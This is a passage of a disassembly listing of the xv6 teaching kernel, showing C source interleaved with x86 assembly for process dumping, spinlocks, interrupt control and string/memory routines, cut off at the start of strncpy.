if(p->state >= 0 && p->state < NELEM(states) && states[p->state])
80104ce4: 8b 45 f0 mov -0x10(%ebp),%eax
80104ce7: 8b 40 0c mov 0xc(%eax),%eax
80104cea: 83 f8 05 cmp $0x5,%eax
80104ced: 77 23 ja 80104d12 <procdump+0x4f>
80104cef: 8b 45 f0 mov -0x10(%ebp),%eax
80104cf2: 8b 40 0c mov 0xc(%eax),%eax
80104cf5: 8b 04 85 0c b0 10 80 mov -0x7fef4ff4(,%eax,4),%eax
80104cfc: 85 c0 test %eax,%eax
80104cfe: 74 12 je 80104d12 <procdump+0x4f>
state = states[p->state];
80104d00: 8b 45 f0 mov -0x10(%ebp),%eax
80104d03: 8b 40 0c mov 0xc(%eax),%eax
80104d06: 8b 04 85 0c b0 10 80 mov -0x7fef4ff4(,%eax,4),%eax
80104d0d: 89 45 ec mov %eax,-0x14(%ebp)
80104d10: eb 07 jmp 80104d19 <procdump+0x56>
else
state = "???";
80104d12: c7 45 ec 14 8a 10 80 movl $0x80108a14,-0x14(%ebp)
cprintf("%d %s %s", p->pid, state, p->name);
80104d19: 8b 45 f0 mov -0x10(%ebp),%eax
80104d1c: 8d 50 6c lea 0x6c(%eax),%edx
80104d1f: 8b 45 f0 mov -0x10(%ebp),%eax
80104d22: 8b 40 10 mov 0x10(%eax),%eax
80104d25: 89 54 24 0c mov %edx,0xc(%esp)
80104d29: 8b 55 ec mov -0x14(%ebp),%edx
80104d2c: 89 54 24 08 mov %edx,0x8(%esp)
80104d30: 89 44 24 04 mov %eax,0x4(%esp)
80104d34: c7 04 24 18 8a 10 80 movl $0x80108a18,(%esp)
80104d3b: e8 60 b6 ff ff call 801003a0 <cprintf>
if(p->state == SLEEPING){
80104d40: 8b 45 f0 mov -0x10(%ebp),%eax
80104d43: 8b 40 0c mov 0xc(%eax),%eax
80104d46: 83 f8 02 cmp $0x2,%eax
80104d49: 75 50 jne 80104d9b <procdump+0xd8>
getcallerpcs((uint*)p->context->ebp+2, pc);
80104d4b: 8b 45 f0 mov -0x10(%ebp),%eax
80104d4e: 8b 40 1c mov 0x1c(%eax),%eax
80104d51: 8b 40 0c mov 0xc(%eax),%eax
80104d54: 83 c0 08 add $0x8,%eax
80104d57: 8d 55 c4 lea -0x3c(%ebp),%edx
80104d5a: 89 54 24 04 mov %edx,0x4(%esp)
80104d5e: 89 04 24 mov %eax,(%esp)
80104d61: e8 5c 01 00 00 call 80104ec2 <getcallerpcs>
for(i=0; i<10 && pc[i] != 0; i++)
80104d66: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80104d6d: eb 1b jmp 80104d8a <procdump+0xc7>
cprintf(" %p", pc[i]);
80104d6f: 8b 45 f4 mov -0xc(%ebp),%eax
80104d72: 8b 44 85 c4 mov -0x3c(%ebp,%eax,4),%eax
80104d76: 89 44 24 04 mov %eax,0x4(%esp)
80104d7a: c7 04 24 21 8a 10 80 movl $0x80108a21,(%esp)
80104d81: e8 1a b6 ff ff call 801003a0 <cprintf>
else
state = "???";
cprintf("%d %s %s", p->pid, state, p->name);
if(p->state == SLEEPING){
getcallerpcs((uint*)p->context->ebp+2, pc);
for(i=0; i<10 && pc[i] != 0; i++)
80104d86: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80104d8a: 83 7d f4 09 cmpl $0x9,-0xc(%ebp)
80104d8e: 7f 0b jg 80104d9b <procdump+0xd8>
80104d90: 8b 45 f4 mov -0xc(%ebp),%eax
80104d93: 8b 44 85 c4 mov -0x3c(%ebp,%eax,4),%eax
80104d97: 85 c0 test %eax,%eax
80104d99: 75 d4 jne 80104d6f <procdump+0xac>
cprintf(" %p", pc[i]);
}
cprintf("\n");
80104d9b: c7 04 24 25 8a 10 80 movl $0x80108a25,(%esp)
80104da2: e8 f9 b5 ff ff call 801003a0 <cprintf>
int i;
struct proc *p;
char *state;
uint pc[10];
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
80104da7: 83 45 f0 7c addl $0x7c,-0x10(%ebp)
80104dab: 81 7d f0 14 49 11 80 cmpl $0x80114914,-0x10(%ebp)
80104db2: 0f 82 1d ff ff ff jb 80104cd5 <procdump+0x12>
for(i=0; i<10 && pc[i] != 0; i++)
cprintf(" %p", pc[i]);
}
cprintf("\n");
}
}
80104db8: c9 leave
80104db9: c3 ret
80104dba <readeflags>:
asm volatile("ltr %0" : : "r" (sel));
}
static inline uint
readeflags(void)
{
80104dba: 55 push %ebp
80104dbb: 89 e5 mov %esp,%ebp
80104dbd: 83 ec 10 sub $0x10,%esp
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
80104dc0: 9c pushf
80104dc1: 58 pop %eax
80104dc2: 89 45 fc mov %eax,-0x4(%ebp)
return eflags;
80104dc5: 8b 45 fc mov -0x4(%ebp),%eax
}
80104dc8: c9 leave
80104dc9: c3 ret
80104dca <cli>:
asm volatile("movw %0, %%gs" : : "r" (v));
}
static inline void
cli(void)
{
80104dca: 55 push %ebp
80104dcb: 89 e5 mov %esp,%ebp
asm volatile("cli");
80104dcd: fa cli
}
80104dce: 5d pop %ebp
80104dcf: c3 ret
80104dd0 <sti>:
static inline void
sti(void)
{
80104dd0: 55 push %ebp
80104dd1: 89 e5 mov %esp,%ebp
asm volatile("sti");
80104dd3: fb sti
}
80104dd4: 5d pop %ebp
80104dd5: c3 ret
80104dd6 <xchg>:
static inline uint
xchg(volatile uint *addr, uint newval)
{
80104dd6: 55 push %ebp
80104dd7: 89 e5 mov %esp,%ebp
80104dd9: 83 ec 10 sub $0x10,%esp
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
80104ddc: 8b 55 08 mov 0x8(%ebp),%edx
80104ddf: 8b 45 0c mov 0xc(%ebp),%eax
80104de2: 8b 4d 08 mov 0x8(%ebp),%ecx
80104de5: f0 87 02 lock xchg %eax,(%edx)
80104de8: 89 45 fc mov %eax,-0x4(%ebp)
"+m" (*addr), "=a" (result) :
"1" (newval) :
"cc");
return result;
80104deb: 8b 45 fc mov -0x4(%ebp),%eax
}
80104dee: c9 leave
80104def: c3 ret
80104df0 <initlock>:
#include "proc.h"
#include "spinlock.h"
void
initlock(struct spinlock *lk, char *name)
{
80104df0: 55 push %ebp
80104df1: 89 e5 mov %esp,%ebp
lk->name = name;
80104df3: 8b 45 08 mov 0x8(%ebp),%eax
80104df6: 8b 55 0c mov 0xc(%ebp),%edx
80104df9: 89 50 04 mov %edx,0x4(%eax)
lk->locked = 0;
80104dfc: 8b 45 08 mov 0x8(%ebp),%eax
80104dff: c7 00 00 00 00 00 movl $0x0,(%eax)
lk->cpu = 0;
80104e05: 8b 45 08 mov 0x8(%ebp),%eax
80104e08: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
80104e0f: 5d pop %ebp
80104e10: c3 ret
80104e11 <acquire>:
// Loops (spins) until the lock is acquired.
// Holding a lock for a long time may cause
// other CPUs to waste time spinning to acquire it.
void
acquire(struct spinlock *lk)
{
80104e11: 55 push %ebp
80104e12: 89 e5 mov %esp,%ebp
80104e14: 83 ec 18 sub $0x18,%esp
pushcli(); // disable interrupts to avoid deadlock.
80104e17: e8 49 01 00 00 call 80104f65 <pushcli>
if(holding(lk))
80104e1c: 8b 45 08 mov 0x8(%ebp),%eax
80104e1f: 89 04 24 mov %eax,(%esp)
80104e22: e8 14 01 00 00 call 80104f3b <holding>
80104e27: 85 c0 test %eax,%eax
80104e29: 74 0c je 80104e37 <acquire+0x26>
panic("acquire");
80104e2b: c7 04 24 51 8a 10 80 movl $0x80108a51,(%esp)
80104e32: e8 03 b7 ff ff call 8010053a <panic>
// The xchg is atomic.
// It also serializes, so that reads after acquire are not
// reordered before it.
while(xchg(&lk->locked, 1) != 0)
80104e37: 90 nop
80104e38: 8b 45 08 mov 0x8(%ebp),%eax
80104e3b: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80104e42: 00
80104e43: 89 04 24 mov %eax,(%esp)
80104e46: e8 8b ff ff ff call 80104dd6 <xchg>
80104e4b: 85 c0 test %eax,%eax
80104e4d: 75 e9 jne 80104e38 <acquire+0x27>
;
// Record info about lock acquisition for debugging.
lk->cpu = cpu;
80104e4f: 8b 45 08 mov 0x8(%ebp),%eax
80104e52: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
80104e59: 89 50 08 mov %edx,0x8(%eax)
getcallerpcs(&lk, lk->pcs);
80104e5c: 8b 45 08 mov 0x8(%ebp),%eax
80104e5f: 83 c0 0c add $0xc,%eax
80104e62: 89 44 24 04 mov %eax,0x4(%esp)
80104e66: 8d 45 08 lea 0x8(%ebp),%eax
80104e69: 89 04 24 mov %eax,(%esp)
80104e6c: e8 51 00 00 00 call 80104ec2 <getcallerpcs>
}
80104e71: c9 leave
80104e72: c3 ret
80104e73 <release>:
// Release the lock.
void
release(struct spinlock *lk)
{
80104e73: 55 push %ebp
80104e74: 89 e5 mov %esp,%ebp
80104e76: 83 ec 18 sub $0x18,%esp
if(!holding(lk))
80104e79: 8b 45 08 mov 0x8(%ebp),%eax
80104e7c: 89 04 24 mov %eax,(%esp)
80104e7f: e8 b7 00 00 00 call 80104f3b <holding>
80104e84: 85 c0 test %eax,%eax
80104e86: 75 0c jne 80104e94 <release+0x21>
panic("release");
80104e88: c7 04 24 59 8a 10 80 movl $0x80108a59,(%esp)
80104e8f: e8 a6 b6 ff ff call 8010053a <panic>
lk->pcs[0] = 0;
80104e94: 8b 45 08 mov 0x8(%ebp),%eax
80104e97: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
lk->cpu = 0;
80104e9e: 8b 45 08 mov 0x8(%ebp),%eax
80104ea1: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
// But the 2007 Intel 64 Architecture Memory Ordering White
// Paper says that Intel 64 and IA-32 will not move a load
// after a store. So lock->locked = 0 would work here.
// The xchg being asm volatile ensures gcc emits it after
// the above assignments (and after the critical section).
xchg(&lk->locked, 0);
80104ea8: 8b 45 08 mov 0x8(%ebp),%eax
80104eab: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80104eb2: 00
80104eb3: 89 04 24 mov %eax,(%esp)
80104eb6: e8 1b ff ff ff call 80104dd6 <xchg>
popcli();
80104ebb: e8 e9 00 00 00 call 80104fa9 <popcli>
}
80104ec0: c9 leave
80104ec1: c3 ret
80104ec2 <getcallerpcs>:
// Record the current call stack in pcs[] by following the %ebp chain.
void
getcallerpcs(void *v, uint pcs[])
{
80104ec2: 55 push %ebp
80104ec3: 89 e5 mov %esp,%ebp
80104ec5: 83 ec 10 sub $0x10,%esp
uint *ebp;
int i;
ebp = (uint*)v - 2;
80104ec8: 8b 45 08 mov 0x8(%ebp),%eax
80104ecb: 83 e8 08 sub $0x8,%eax
80104ece: 89 45 fc mov %eax,-0x4(%ebp)
for(i = 0; i < 10; i++){
80104ed1: c7 45 f8 00 00 00 00 movl $0x0,-0x8(%ebp)
80104ed8: eb 38 jmp 80104f12 <getcallerpcs+0x50>
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
80104eda: 83 7d fc 00 cmpl $0x0,-0x4(%ebp)
80104ede: 74 38 je 80104f18 <getcallerpcs+0x56>
80104ee0: 81 7d fc ff ff ff 7f cmpl $0x7fffffff,-0x4(%ebp)
80104ee7: 76 2f jbe 80104f18 <getcallerpcs+0x56>
80104ee9: 83 7d fc ff cmpl $0xffffffff,-0x4(%ebp)
80104eed: 74 29 je 80104f18 <getcallerpcs+0x56>
break;
pcs[i] = ebp[1]; // saved %eip
80104eef: 8b 45 f8 mov -0x8(%ebp),%eax
80104ef2: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80104ef9: 8b 45 0c mov 0xc(%ebp),%eax
80104efc: 01 c2 add %eax,%edx
80104efe: 8b 45 fc mov -0x4(%ebp),%eax
80104f01: 8b 40 04 mov 0x4(%eax),%eax
80104f04: 89 02 mov %eax,(%edx)
ebp = (uint*)ebp[0]; // saved %ebp
80104f06: 8b 45 fc mov -0x4(%ebp),%eax
80104f09: 8b 00 mov (%eax),%eax
80104f0b: 89 45 fc mov %eax,-0x4(%ebp)
{
uint *ebp;
int i;
ebp = (uint*)v - 2;
for(i = 0; i < 10; i++){
80104f0e: 83 45 f8 01 addl $0x1,-0x8(%ebp)
80104f12: 83 7d f8 09 cmpl $0x9,-0x8(%ebp)
80104f16: 7e c2 jle 80104eda <getcallerpcs+0x18>
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
80104f18: eb 19 jmp 80104f33 <getcallerpcs+0x71>
pcs[i] = 0;
80104f1a: 8b 45 f8 mov -0x8(%ebp),%eax
80104f1d: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80104f24: 8b 45 0c mov 0xc(%ebp),%eax
80104f27: 01 d0 add %edx,%eax
80104f29: c7 00 00 00 00 00 movl $0x0,(%eax)
if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff)
break;
pcs[i] = ebp[1]; // saved %eip
ebp = (uint*)ebp[0]; // saved %ebp
}
for(; i < 10; i++)
80104f2f: 83 45 f8 01 addl $0x1,-0x8(%ebp)
80104f33: 83 7d f8 09 cmpl $0x9,-0x8(%ebp)
80104f37: 7e e1 jle 80104f1a <getcallerpcs+0x58>
pcs[i] = 0;
}
80104f39: c9 leave
80104f3a: c3 ret
80104f3b <holding>:
// Check whether this cpu is holding the lock.
int
holding(struct spinlock *lock)
{
80104f3b: 55 push %ebp
80104f3c: 89 e5 mov %esp,%ebp
return lock->locked && lock->cpu == cpu;
80104f3e: 8b 45 08 mov 0x8(%ebp),%eax
80104f41: 8b 00 mov (%eax),%eax
80104f43: 85 c0 test %eax,%eax
80104f45: 74 17 je 80104f5e <holding+0x23>
80104f47: 8b 45 08 mov 0x8(%ebp),%eax
80104f4a: 8b 50 08 mov 0x8(%eax),%edx
80104f4d: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80104f53: 39 c2 cmp %eax,%edx
80104f55: 75 07 jne 80104f5e <holding+0x23>
80104f57: b8 01 00 00 00 mov $0x1,%eax
80104f5c: eb 05 jmp 80104f63 <holding+0x28>
80104f5e: b8 00 00 00 00 mov $0x0,%eax
}
80104f63: 5d pop %ebp
80104f64: c3 ret
80104f65 <pushcli>:
// it takes two popcli to undo two pushcli. Also, if interrupts
// are off, then pushcli, popcli leaves them off.
void
pushcli(void)
{
80104f65: 55 push %ebp
80104f66: 89 e5 mov %esp,%ebp
80104f68: 83 ec 10 sub $0x10,%esp
int eflags;
eflags = readeflags();
80104f6b: e8 4a fe ff ff call 80104dba <readeflags>
80104f70: 89 45 fc mov %eax,-0x4(%ebp)
cli();
80104f73: e8 52 fe ff ff call 80104dca <cli>
if(cpu->ncli++ == 0)
80104f78: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
80104f7f: 8b 82 b0 00 00 00 mov 0xb0(%edx),%eax
80104f85: 8d 48 01 lea 0x1(%eax),%ecx
80104f88: 89 8a b0 00 00 00 mov %ecx,0xb0(%edx)
80104f8e: 85 c0 test %eax,%eax
80104f90: 75 15 jne 80104fa7 <pushcli+0x42>
cpu->intena = eflags & FL_IF;
80104f92: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80104f98: 8b 55 fc mov -0x4(%ebp),%edx
80104f9b: 81 e2 00 02 00 00 and $0x200,%edx
80104fa1: 89 90 b4 00 00 00 mov %edx,0xb4(%eax)
}
80104fa7: c9 leave
80104fa8: c3 ret
80104fa9 <popcli>:
void
popcli(void)
{
80104fa9: 55 push %ebp
80104faa: 89 e5 mov %esp,%ebp
80104fac: 83 ec 18 sub $0x18,%esp
if(readeflags()&FL_IF)
80104faf: e8 06 fe ff ff call 80104dba <readeflags>
80104fb4: 25 00 02 00 00 and $0x200,%eax
80104fb9: 85 c0 test %eax,%eax
80104fbb: 74 0c je 80104fc9 <popcli+0x20>
panic("popcli - interruptible");
80104fbd: c7 04 24 61 8a 10 80 movl $0x80108a61,(%esp)
80104fc4: e8 71 b5 ff ff call 8010053a <panic>
if(--cpu->ncli < 0)
80104fc9: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80104fcf: 8b 90 b0 00 00 00 mov 0xb0(%eax),%edx
80104fd5: 83 ea 01 sub $0x1,%edx
80104fd8: 89 90 b0 00 00 00 mov %edx,0xb0(%eax)
80104fde: 8b 80 b0 00 00 00 mov 0xb0(%eax),%eax
80104fe4: 85 c0 test %eax,%eax
80104fe6: 79 0c jns 80104ff4 <popcli+0x4b>
panic("popcli");
80104fe8: c7 04 24 78 8a 10 80 movl $0x80108a78,(%esp)
80104fef: e8 46 b5 ff ff call 8010053a <panic>
if(cpu->ncli == 0 && cpu->intena)
80104ff4: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80104ffa: 8b 80 b0 00 00 00 mov 0xb0(%eax),%eax
80105000: 85 c0 test %eax,%eax
80105002: 75 15 jne 80105019 <popcli+0x70>
80105004: 65 a1 00 00 00 00 mov %gs:0x0,%eax
8010500a: 8b 80 b4 00 00 00 mov 0xb4(%eax),%eax
80105010: 85 c0 test %eax,%eax
80105012: 74 05 je 80105019 <popcli+0x70>
sti();
80105014: e8 b7 fd ff ff call 80104dd0 <sti>
}
80105019: c9 leave
8010501a: c3 ret
8010501b <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
8010501b: 55 push %ebp
8010501c: 89 e5 mov %esp,%ebp
8010501e: 57 push %edi
8010501f: 53 push %ebx
asm volatile("cld; rep stosb" :
80105020: 8b 4d 08 mov 0x8(%ebp),%ecx
80105023: 8b 55 10 mov 0x10(%ebp),%edx
80105026: 8b 45 0c mov 0xc(%ebp),%eax
80105029: 89 cb mov %ecx,%ebx
8010502b: 89 df mov %ebx,%edi
8010502d: 89 d1 mov %edx,%ecx
8010502f: fc cld
80105030: f3 aa rep stos %al,%es:(%edi)
80105032: 89 ca mov %ecx,%edx
80105034: 89 fb mov %edi,%ebx
80105036: 89 5d 08 mov %ebx,0x8(%ebp)
80105039: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
8010503c: 5b pop %ebx
8010503d: 5f pop %edi
8010503e: 5d pop %ebp
8010503f: c3 ret
80105040 <stosl>:
static inline void
stosl(void *addr, int data, int cnt)
{
80105040: 55 push %ebp
80105041: 89 e5 mov %esp,%ebp
80105043: 57 push %edi
80105044: 53 push %ebx
asm volatile("cld; rep stosl" :
80105045: 8b 4d 08 mov 0x8(%ebp),%ecx
80105048: 8b 55 10 mov 0x10(%ebp),%edx
8010504b: 8b 45 0c mov 0xc(%ebp),%eax
8010504e: 89 cb mov %ecx,%ebx
80105050: 89 df mov %ebx,%edi
80105052: 89 d1 mov %edx,%ecx
80105054: fc cld
80105055: f3 ab rep stos %eax,%es:(%edi)
80105057: 89 ca mov %ecx,%edx
80105059: 89 fb mov %edi,%ebx
8010505b: 89 5d 08 mov %ebx,0x8(%ebp)
8010505e: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
80105061: 5b pop %ebx
80105062: 5f pop %edi
80105063: 5d pop %ebp
80105064: c3 ret
80105065 <memset>:
#include "types.h"
#include "x86.h"
void*
memset(void *dst, int c, uint n)
{
80105065: 55 push %ebp
80105066: 89 e5 mov %esp,%ebp
80105068: 83 ec 0c sub $0xc,%esp
if ((int)dst%4 == 0 && n%4 == 0){
8010506b: 8b 45 08 mov 0x8(%ebp),%eax
8010506e: 83 e0 03 and $0x3,%eax
80105071: 85 c0 test %eax,%eax
80105073: 75 49 jne 801050be <memset+0x59>
80105075: 8b 45 10 mov 0x10(%ebp),%eax
80105078: 83 e0 03 and $0x3,%eax
8010507b: 85 c0 test %eax,%eax
8010507d: 75 3f jne 801050be <memset+0x59>
c &= 0xFF;
8010507f: 81 65 0c ff 00 00 00 andl $0xff,0xc(%ebp)
stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4);
80105086: 8b 45 10 mov 0x10(%ebp),%eax
80105089: c1 e8 02 shr $0x2,%eax
8010508c: 89 c2 mov %eax,%edx
8010508e: 8b 45 0c mov 0xc(%ebp),%eax
80105091: c1 e0 18 shl $0x18,%eax
80105094: 89 c1 mov %eax,%ecx
80105096: 8b 45 0c mov 0xc(%ebp),%eax
80105099: c1 e0 10 shl $0x10,%eax
8010509c: 09 c1 or %eax,%ecx
8010509e: 8b 45 0c mov 0xc(%ebp),%eax
801050a1: c1 e0 08 shl $0x8,%eax
801050a4: 09 c8 or %ecx,%eax
801050a6: 0b 45 0c or 0xc(%ebp),%eax
801050a9: 89 54 24 08 mov %edx,0x8(%esp)
801050ad: 89 44 24 04 mov %eax,0x4(%esp)
801050b1: 8b 45 08 mov 0x8(%ebp),%eax
801050b4: 89 04 24 mov %eax,(%esp)
801050b7: e8 84 ff ff ff call 80105040 <stosl>
801050bc: eb 19 jmp 801050d7 <memset+0x72>
} else
stosb(dst, c, n);
801050be: 8b 45 10 mov 0x10(%ebp),%eax
801050c1: 89 44 24 08 mov %eax,0x8(%esp)
801050c5: 8b 45 0c mov 0xc(%ebp),%eax
801050c8: 89 44 24 04 mov %eax,0x4(%esp)
801050cc: 8b 45 08 mov 0x8(%ebp),%eax
801050cf: 89 04 24 mov %eax,(%esp)
801050d2: e8 44 ff ff ff call 8010501b <stosb>
return dst;
801050d7: 8b 45 08 mov 0x8(%ebp),%eax
}
801050da: c9 leave
801050db: c3 ret
801050dc <memcmp>:
int
memcmp(const void *v1, const void *v2, uint n)
{
801050dc: 55 push %ebp
801050dd: 89 e5 mov %esp,%ebp
801050df: 83 ec 10 sub $0x10,%esp
const uchar *s1, *s2;
s1 = v1;
801050e2: 8b 45 08 mov 0x8(%ebp),%eax
801050e5: 89 45 fc mov %eax,-0x4(%ebp)
s2 = v2;
801050e8: 8b 45 0c mov 0xc(%ebp),%eax
801050eb: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0){
801050ee: eb 30 jmp 80105120 <memcmp+0x44>
if(*s1 != *s2)
801050f0: 8b 45 fc mov -0x4(%ebp),%eax
801050f3: 0f b6 10 movzbl (%eax),%edx
801050f6: 8b 45 f8 mov -0x8(%ebp),%eax
801050f9: 0f b6 00 movzbl (%eax),%eax
801050fc: 38 c2 cmp %al,%dl
801050fe: 74 18 je 80105118 <memcmp+0x3c>
return *s1 - *s2;
80105100: 8b 45 fc mov -0x4(%ebp),%eax
80105103: 0f b6 00 movzbl (%eax),%eax
80105106: 0f b6 d0 movzbl %al,%edx
80105109: 8b 45 f8 mov -0x8(%ebp),%eax
8010510c: 0f b6 00 movzbl (%eax),%eax
8010510f: 0f b6 c0 movzbl %al,%eax
80105112: 29 c2 sub %eax,%edx
80105114: 89 d0 mov %edx,%eax
80105116: eb 1a jmp 80105132 <memcmp+0x56>
s1++, s2++;
80105118: 83 45 fc 01 addl $0x1,-0x4(%ebp)
8010511c: 83 45 f8 01 addl $0x1,-0x8(%ebp)
{
const uchar *s1, *s2;
s1 = v1;
s2 = v2;
while(n-- > 0){
80105120: 8b 45 10 mov 0x10(%ebp),%eax
80105123: 8d 50 ff lea -0x1(%eax),%edx
80105126: 89 55 10 mov %edx,0x10(%ebp)
80105129: 85 c0 test %eax,%eax
8010512b: 75 c3 jne 801050f0 <memcmp+0x14>
if(*s1 != *s2)
return *s1 - *s2;
s1++, s2++;
}
return 0;
8010512d: b8 00 00 00 00 mov $0x0,%eax
}
80105132: c9 leave
80105133: c3 ret
80105134 <memmove>:
void*
memmove(void *dst, const void *src, uint n)
{
80105134: 55 push %ebp
80105135: 89 e5 mov %esp,%ebp
80105137: 83 ec 10 sub $0x10,%esp
const char *s;
char *d;
s = src;
8010513a: 8b 45 0c mov 0xc(%ebp),%eax
8010513d: 89 45 fc mov %eax,-0x4(%ebp)
d = dst;
80105140: 8b 45 08 mov 0x8(%ebp),%eax
80105143: 89 45 f8 mov %eax,-0x8(%ebp)
if(s < d && s + n > d){
80105146: 8b 45 fc mov -0x4(%ebp),%eax
80105149: 3b 45 f8 cmp -0x8(%ebp),%eax
8010514c: 73 3d jae 8010518b <memmove+0x57>
8010514e: 8b 45 10 mov 0x10(%ebp),%eax
80105151: 8b 55 fc mov -0x4(%ebp),%edx
80105154: 01 d0 add %edx,%eax
80105156: 3b 45 f8 cmp -0x8(%ebp),%eax
80105159: 76 30 jbe 8010518b <memmove+0x57>
s += n;
8010515b: 8b 45 10 mov 0x10(%ebp),%eax
8010515e: 01 45 fc add %eax,-0x4(%ebp)
d += n;
80105161: 8b 45 10 mov 0x10(%ebp),%eax
80105164: 01 45 f8 add %eax,-0x8(%ebp)
while(n-- > 0)
80105167: eb 13 jmp 8010517c <memmove+0x48>
*--d = *--s;
80105169: 83 6d f8 01 subl $0x1,-0x8(%ebp)
8010516d: 83 6d fc 01 subl $0x1,-0x4(%ebp)
80105171: 8b 45 fc mov -0x4(%ebp),%eax
80105174: 0f b6 10 movzbl (%eax),%edx
80105177: 8b 45 f8 mov -0x8(%ebp),%eax
8010517a: 88 10 mov %dl,(%eax)
s = src;
d = dst;
if(s < d && s + n > d){
s += n;
d += n;
while(n-- > 0)
8010517c: 8b 45 10 mov 0x10(%ebp),%eax
8010517f: 8d 50 ff lea -0x1(%eax),%edx
80105182: 89 55 10 mov %edx,0x10(%ebp)
80105185: 85 c0 test %eax,%eax
80105187: 75 e0 jne 80105169 <memmove+0x35>
const char *s;
char *d;
s = src;
d = dst;
if(s < d && s + n > d){
80105189: eb 26 jmp 801051b1 <memmove+0x7d>
s += n;
d += n;
while(n-- > 0)
*--d = *--s;
} else
while(n-- > 0)
8010518b: eb 17 jmp 801051a4 <memmove+0x70>
*d++ = *s++;
8010518d: 8b 45 f8 mov -0x8(%ebp),%eax
80105190: 8d 50 01 lea 0x1(%eax),%edx
80105193: 89 55 f8 mov %edx,-0x8(%ebp)
80105196: 8b 55 fc mov -0x4(%ebp),%edx
80105199: 8d 4a 01 lea 0x1(%edx),%ecx
8010519c: 89 4d fc mov %ecx,-0x4(%ebp)
8010519f: 0f b6 12 movzbl (%edx),%edx
801051a2: 88 10 mov %dl,(%eax)
s += n;
d += n;
while(n-- > 0)
*--d = *--s;
} else
while(n-- > 0)
801051a4: 8b 45 10 mov 0x10(%ebp),%eax
801051a7: 8d 50 ff lea -0x1(%eax),%edx
801051aa: 89 55 10 mov %edx,0x10(%ebp)
801051ad: 85 c0 test %eax,%eax
801051af: 75 dc jne 8010518d <memmove+0x59>
*d++ = *s++;
return dst;
801051b1: 8b 45 08 mov 0x8(%ebp),%eax
}
801051b4: c9 leave
801051b5: c3 ret
801051b6 <memcpy>:
// memcpy exists to placate GCC. Use memmove.
void*
memcpy(void *dst, const void *src, uint n)
{
801051b6: 55 push %ebp
801051b7: 89 e5 mov %esp,%ebp
801051b9: 83 ec 0c sub $0xc,%esp
return memmove(dst, src, n);
801051bc: 8b 45 10 mov 0x10(%ebp),%eax
801051bf: 89 44 24 08 mov %eax,0x8(%esp)
801051c3: 8b 45 0c mov 0xc(%ebp),%eax
801051c6: 89 44 24 04 mov %eax,0x4(%esp)
801051ca: 8b 45 08 mov 0x8(%ebp),%eax
801051cd: 89 04 24 mov %eax,(%esp)
801051d0: e8 5f ff ff ff call 80105134 <memmove>
}
801051d5: c9 leave
801051d6: c3 ret
801051d7 <strncmp>:
int
strncmp(const char *p, const char *q, uint n)
{
801051d7: 55 push %ebp
801051d8: 89 e5 mov %esp,%ebp
while(n > 0 && *p && *p == *q)
801051da: eb 0c jmp 801051e8 <strncmp+0x11>
n--, p++, q++;
801051dc: 83 6d 10 01 subl $0x1,0x10(%ebp)
801051e0: 83 45 08 01 addl $0x1,0x8(%ebp)
801051e4: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strncmp(const char *p, const char *q, uint n)
{
while(n > 0 && *p && *p == *q)
801051e8: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
801051ec: 74 1a je 80105208 <strncmp+0x31>
801051ee: 8b 45 08 mov 0x8(%ebp),%eax
801051f1: 0f b6 00 movzbl (%eax),%eax
801051f4: 84 c0 test %al,%al
801051f6: 74 10 je 80105208 <strncmp+0x31>
801051f8: 8b 45 08 mov 0x8(%ebp),%eax
801051fb: 0f b6 10 movzbl (%eax),%edx
801051fe: 8b 45 0c mov 0xc(%ebp),%eax
80105201: 0f b6 00 movzbl (%eax),%eax
80105204: 38 c2 cmp %al,%dl
80105206: 74 d4 je 801051dc <strncmp+0x5>
n--, p++, q++;
if(n == 0)
80105208: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
8010520c: 75 07 jne 80105215 <strncmp+0x3e>
return 0;
8010520e: b8 00 00 00 00 mov $0x0,%eax
80105213: eb 16 jmp 8010522b <strncmp+0x54>
return (uchar)*p - (uchar)*q;
80105215: 8b 45 08 mov 0x8(%ebp),%eax
80105218: 0f b6 00 movzbl (%eax),%eax
8010521b: 0f b6 d0 movzbl %al,%edx
8010521e: 8b 45 0c mov 0xc(%ebp),%eax
80105221: 0f b6 00 movzbl (%eax),%eax
80105224: 0f b6 c0 movzbl %al,%eax
80105227: 29 c2 sub %eax,%edx
80105229: 89 d0 mov %edx,%eax
}
8010522b: 5d pop %ebp
8010522c: c3 ret
8010522d <strncpy>:
char*
strncpy(char *s, const char *t, int n)
{
8010522d: 55 push %ebp
8010522e: 89 e5 mov %esp,%ebp
80105230: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
